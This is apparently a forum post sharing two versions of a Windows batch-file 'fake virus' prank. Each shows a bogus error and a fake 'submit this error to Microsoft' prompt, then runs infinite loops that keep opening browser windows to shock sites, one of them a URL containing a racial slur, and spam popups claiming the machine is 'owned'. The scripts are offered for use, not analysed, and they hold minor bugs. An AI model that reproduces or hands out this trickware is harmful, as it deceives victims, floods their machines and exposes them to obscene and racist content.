Originally Posted by Fake Virus 
@echo off
color a
echo Sorry there seems to be an error in the loading of this file
ping localhost -n 4 > nul
cls
set /p question=Would you like to submit this error to Microsoft?
ping localhost -n 7 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Error...
ping localhost -n 4 >nul
echo Because your getting owned mutha ****a.
if exist firefox.exe goto lawlz
if else goto lawlz2

:lawlz
msg * 0wn3d by -[xVi]-fr33h3nt41 mutha ****a!
start firefox.exe http://www.thatsnotsexy.com
start firefox.exe tubgirl.com
goto :lawlz

:lawlz2
msg * 0wn3d by -[xVi]-fr33h3nt41
start iexplorer.exe http://www.thatsnotsexy.com
start iexplorer.exe tubgirl.com
goto :lawlz2

@echo off
color a
echo Sorry there seems to be an error in the loading of this file
ping localhost -n 4 > nul
cls
set /p question=Would you like to submit this error to Microsoft?
ping localhost -n 7 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Submitting.
ping localhost -n 2 > nul
cls
echo Submitting..
ping locahost -n 2 > nul
cls
echo Submitting...
ping locahost -n 2 > nul
cls
echo Error...
ping localhost -n 4 >nul
echo Because your getting owned mutha ****a.
:a
start explorer http://thatsnotsexy.com
start explorer http://niggerporn.com
start explorer http://tubgirl.com
echo Owned by -[xVi]-fr33h3nt41
goto :a